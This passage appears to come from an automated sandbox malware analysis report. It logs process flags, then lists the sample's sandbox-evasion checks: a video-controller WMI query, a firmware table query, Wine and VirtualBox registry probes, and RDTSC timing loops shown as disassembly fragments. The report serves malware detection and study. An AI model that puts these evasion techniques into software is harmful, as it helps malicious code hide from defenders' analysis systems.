Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 3C029E second address: 3C02A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 3C02A4 second address: 3C02A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 3C02A8 second address: 3C02AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 3C02AC second address: 3BFBEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D312Ch], edi 0x00000011 push dword ptr [ebp+122D0099h] 0x00000017 or dword ptr [ebp+122D2AEAh], ebx 0x0000001d call dword ptr [ebp+122D311Ah] 0x00000023 pushad 0x00000024 jmp 00007FF67050A383h 0x00000029 xor eax, eax 0x0000002b cmc 0x0000002c mov edx, dword ptr [esp+28h] 0x00000030 jmp 00007FF67050A386h 0x00000035 mov dword ptr [ebp+122D37EEh], eax 0x0000003b stc 0x0000003c mov esi, 0000003Ch 0x00000041 clc 0x00000042 add esi, dword ptr [esp+24h] 0x00000046 pushad 0x00000047 mov si, D103h 0x0000004b mov ch, AAh 0x0000004d popad 0x0000004e lodsw 0x00000050 cld 0x00000051 add eax, dword ptr [esp+24h] 0x00000055 pushad 0x00000056 push eax 0x00000057 je 00007FF67050A376h 0x0000005d pop ecx 0x0000005e popad 0x0000005f mov ebx, dword ptr [esp+24h] 0x00000063 xor dword ptr [ebp+122D3157h], esi 0x00000069 push eax 0x0000006a jc 00007FF67050A382h 0x00000070 jbe 00007FF67050A37Ch 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 531706 second address: 53170A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 53170A second address: 53170E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5319AF second address: 5319C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF670C3B920h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5319C5 second address: 5319E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FF67050A385h 0x0000000b jg 00007FF67050A376h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 531CD4 second address: 531CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 531E61 second address: 531E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 531E67 second address: 531E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534C49 second address: 534C96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A385h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D2BD1h], ebx 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D30FFh], ebx 0x0000001a call 00007FF67050A379h 0x0000001f jmp 00007FF67050A37Fh 0x00000024 push eax 0x00000025 jc 00007FF67050A384h 0x0000002b push eax 0x0000002c push edx 0x0000002d push esi 0x0000002e pop esi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534C96 second address: 534C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534C9A second address: 534CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ecx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f pop ecx 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007FF67050A37Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534CBA second address: 534CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF670C3B926h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534CD4 second address: 534D5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d jc 00007FF67050A378h 0x00000013 push edx 0x00000014 pop edx 0x00000015 push ecx 0x00000016 pushad 0x00000017 popad 0x00000018 pop ecx 0x00000019 popad 0x0000001a pop eax 0x0000001b mov ecx, 1BE322C1h 0x00000020 push 00000003h 0x00000022 mov edi, 7E2DC46Eh 0x00000027 push 00000000h 0x00000029 mov di, 9DFCh 0x0000002d push 00000003h 0x0000002f mov edx, dword ptr [ebp+122D3AFEh] 0x00000035 push 8C9A807Bh 0x0000003a pushad 0x0000003b push edx 0x0000003c jmp 00007FF67050A381h 0x00000041 pop edx 0x00000042 push edi 0x00000043 jmp 00007FF67050A385h 0x00000048 pop edi 0x00000049 popad 0x0000004a xor dword ptr [esp], 4C9A807Bh 0x00000051 mov edi, dword ptr [ebp+122D3A5Eh] 0x00000057 lea ebx, dword ptr [ebp+12448B23h] 0x0000005d mov dword ptr [ebp+122D3179h], eax 0x00000063 push eax 0x00000064 pushad 0x00000065 jns 00007FF67050A37Ch 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534DD5 second address: 534DDF instructions: 0x00000000 rdtsc 0x00000002 js 00007FF670C3B916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534DDF second address: 534E35 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007FF67050A376h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D39B2h] 0x00000013 push 00000000h 0x00000015 jmp 00007FF67050A388h 0x0000001a call 00007FF67050A379h 0x0000001f pushad 0x00000020 jmp 00007FF67050A37Ch 0x00000025 push eax 0x00000026 jmp 00007FF67050A37Ah 0x0000002b pop eax 0x0000002c popad 0x0000002d push eax 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534E35 second address: 534E6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FF670C3B91Eh 0x0000000c pop edx 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 jmp 00007FF670C3B91Eh 0x00000018 pop eax 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d jl 00007FF670C3B918h 0x00000023 push edi 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534E6C second address: 534E71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534E71 second address: 534F0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push edx 0x0000000e jmp 00007FF670C3B91Bh 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov di, bx 0x00000018 xor di, 1CEFh 0x0000001d push 00000003h 0x0000001f call 00007FF670C3B928h 0x00000024 mov dh, E2h 0x00000026 pop ecx 0x00000027 push 00000000h 0x00000029 mov edx, dword ptr [ebp+122D1DFBh] 0x0000002f mov cx, CB6Eh 0x00000033 push 00000003h 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007FF670C3B918h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 00000014h 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f add edx, 7A64B781h 0x00000055 call 00007FF670C3B919h 0x0000005a jmp 00007FF670C3B921h 0x0000005f push eax 0x00000060 push ecx 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FF670C3B91Dh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534F0C second address: 534F1B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push esi 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
